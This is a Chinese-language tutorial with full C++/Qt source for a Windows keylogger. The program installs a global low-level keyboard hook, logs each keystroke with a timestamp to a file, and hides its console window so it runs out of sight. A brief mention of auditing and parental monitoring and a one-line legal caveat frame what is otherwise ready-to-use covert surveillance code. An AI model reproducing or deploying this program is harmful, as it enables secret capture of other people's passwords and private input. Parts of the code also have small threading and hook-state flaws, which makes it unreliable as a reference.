使用C++和Windows API创建简单的键盘记录器应用程序

使用C++和Windows API创建简单的键盘记录器应用程序

当使用C++和Windows API编写应用程序时，经常需要与操作系统进行交互以实现特定的功能。本教程将介绍如何使用C++和Windows API创建一个简单的键盘记录器应用程序。

引言

键盘记录器是一种常见的应用程序类型，它可以记录用户在计算机上输入的所有按键操作。这种应用程序在安全审计、家长监控和用户活动跟踪等场景中非常有用。在本教程中，我们将使用C++和Windows API编写一个基本的键盘记录器应用程序。

准备工作

在开始编写应用程序之前，确保您已安装好以下软件：

• Visual Studio（或其他C++编译器）
• Windows操作系统

步骤1：设置键盘挂钩

在Windows中，我们可以使用钩子（hook）来监视和截取键盘输入。通过使用Windows API中的SetWindowsHookEx函数，我们可以安装一个全局的低级键盘挂钩。以下是相关代码的示例：

HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);

这行代码将安装一个低级键盘挂钩，指定了KeyboardProc作为挂钩回调函数。

步骤2：键盘挂钩回调函数

在安装了键盘挂钩之后，我们需要实现键盘挂钩回调函数。回调函数会在每次按键事件发生时被调用。以下是回调函数的示例：

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode == HC_ACTION)
    {
        KBDLLHOOKSTRUCT* pKeyboardHookStruct = (KBDLLHOOKSTRUCT*)lParam;
        DWORD keyCode = pKeyboardHookStruct->vkCode;
        DWORD scanCode = pKeyboardHookStruct->scanCode;

        // 处理键盘事件
        // ...

        return CallNextHookEx(NULL, nCode, wParam, lParam);
    }

    return 0;
}

在这个示例中，我们可以获取按下的键的虚拟键码和扫描码，并在回调函数中执行相应的处理逻辑。

步骤3：记录按键事件

在回调函数中，我们可以根据需求处理键盘事件。在键盘记录器应用程序中，我们将把按键事件记录到一个全局队列中以后进行处理。以下是相关代码的示例：

QQueue<QString> global_keys;
QMutex mutex;
QWaitCondition queueNotEmpty;

// 在回调函数中记录按键事件
if (ToAscii(keyCode, scanCode, keyboardState, &charCode, 0) == 1)
{
    char character = static_cast<char>(charCode);
    QString eventType = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) ? "Key Down" : "Key Up";
    auto str = QString("[%1-%2] %3 - Key Code: %4, Scan Code: %5\n")
                .arg(QDateTime::currentDateTime().toString("hh:mm:ss:zzz"))
                .arg(character)
                .arg(eventType,10,QChar(' '))
                .arg(keyCode, 4, 10, QChar(' '))
                .arg(scanCode, 4, 10, QChar(' '));
    QMutexLocker locker(&mutex);
    global_keys.enqueue(str);   // 将字符加入全局队列
    queueNotEmpty.wakeAll();    // 唤醒等待队列非空的线程
}

在这个示例中，我们使用了Qt的QQueue来创建一个全局队列global_keys，用于存储按键事件。我们还使用了QMutex和QWaitCondition来实现线程间同步，以确保在队列为空时等待按键事件的到来。

步骤4：处理按键记录

为了处理按键记录，我们需要创建一个单独的线程来从全局队列中获取按键事件并执行相应的操作。以下是相关代码的示例：

QThread handle;

// 在处理线程中循环处理按键记录
QObject::connect(&handle, &QThread::started, [&] {
    while (!handle.isInterruptionRequested()) {
        QString str;
        {
            QMutexLocker locker(&mutex);
            if (global_keys.isEmpty()) {
                queueNotEmpty.wait(&mutex);
            }
            str = global_keys.dequeue();
        }
        // 处理按键记录
        // ...
    }
});

// 启动处理线程
handle.start();

在这个示例中，我们使用了Qt的QThread来创建一个处理线程handle。在处理线程的循环中，我们从全局队列中获取按键记录并执行相应的操作。

步骤5：编译和运行应用程序

完成上述代码后，我们可以使用编译器（如Visual Studio）将代码编译成可执行文件，并运行应用程序。在运行应用程序之前，确保关闭其他键盘记录器或冲突的应用程序，以避免干扰。

结论

在本教程中，我们使用C++和Windows API编写了一个简单的键盘记录器应用程序。通过使用钩子机制和线程间通信，我们能够截取键盘输入并将按键记录保存到文件中。这个应用程序只是一个起点，您可以根据需要进行扩展和改进。

请注意，键盘记录器应用程序的使用可能受到法律和隐私政策的限制，请确保在合法和适当的情况下使用。

完整代码

#include <QCoreApplication>
#include <Windows.h>
#include <QDebug>
#include <QFile>
#include <QDateTime>
#include <QDataStream>
#include <QThread>
#include <QMutex>
#include <QQueue>
#include <QScopeGuard>
#include <QWaitCondition>

QQueue<QString> global_keys;    // 全局队列，用于存储键盘输入的字符
QMutex mutex;                   // 互斥锁，用于保护全局队列的线程安全操作
QWaitCondition queueNotEmpty;   // 条件变量，用于等待队列非空

// 全局键盘挂钩过程
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if (nCode == HC_ACTION)
    {
        KBDLLHOOKSTRUCT* pKeyboardHookStruct = (KBDLLHOOKSTRUCT*)lParam;
        DWORD keyCode = pKeyboardHookStruct->vkCode;
        DWORD scanCode = pKeyboardHookStruct->scanCode;

        BYTE keyboardState[256];
        GetKeyboardState(keyboardState);
        WORD charCode;
        if (ToAscii(keyCode, scanCode, keyboardState, &charCode, 0) == 1)
        {
            char character = static_cast<char>(charCode);
            QString eventType = (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) ? "Key Down" : "Key Up";
            auto str = QString("[%1-%2] %3 - Key Code: %4, Scan Code: %5\n")
                           .arg(QDateTime::currentDateTime().toString("hh:mm:ss:zzz"))
                           .arg(character)
                           .arg(eventType,10,QChar(' '))
                           .arg(keyCode, 4, 10, QChar(' '))
                           .arg(scanCode, 4, 10, QChar(' '));
            QMutexLocker locker(&mutex);
            global_keys.enqueue(str);   // 将字符加入全局队列
            queueNotEmpty.wakeAll();    // 唤醒等待队列非空的线程
        }
    }

    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

// 控制台控制信号处理程序
BOOL ConsoleHandler(DWORD signal)
{
    if (signal == CTRL_CLOSE_EVENT || signal == CTRL_BREAK_EVENT || signal == CTRL_C_EVENT)
    {
        qDebug() << "Termination signal received. Exiting...";
        return TRUE;
    }

    return FALSE;
}

int main(int argc, char *argv[])
{
    if (!SetConsoleCtrlHandler((PHANDLER_ROUTINE)ConsoleHandler, TRUE))
    {
        qDebug() << "Failed to set console handler.";
        return 1;
    }

    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);  // 安装全局键盘挂钩
    auto cleanup = qScopeGuard([&] {
        UnhookWindowsHookEx(hook);   // 卸载挂钩
        qDebug() << "UnhookWindowsHookEx";
    });

    QCoreApplication a(argc, argv);

    QThread handle;
    QString logFilePath = QCoreApplication::applicationDirPath() + "/a.log";
    QFile file(logFilePath);
    file.open(QIODevice::WriteOnly);
    QDataStream out(&file);
    handle.setObjectName("KeyloggerThread");
    handle.start();
    auto cleanup_handle = qScopeGuard([&] {
        handle.requestInterruption();   // 请求线程中断
        handle.wait(1000);              // 等待线程结束
        handle.terminate();             // 终止线程
        qDebug() << "Exit Thread";
    });

    QObject::connect(&handle, &QThread::started, [&] {
        while (!handle.isInterruptionRequested()) {
            QString str;
            {
                QMutexLocker locker(&mutex);
                if (global_keys.isEmpty()) {
                    queueNotEmpty.wait(&mutex);    // 等待队列非空
                }
                str = global_keys.dequeue();        // 从全局队列中取出字符
            }
            out << str.toUtf8();                  // 写入文件
            file.flush();                           // 刷新文件缓冲区
        }
    });

    HWND hwnd = GetConsoleWindow();
    ShowWindow(hwnd, SW_HIDE);   // 隐藏控制台窗口

    return a.exec();
}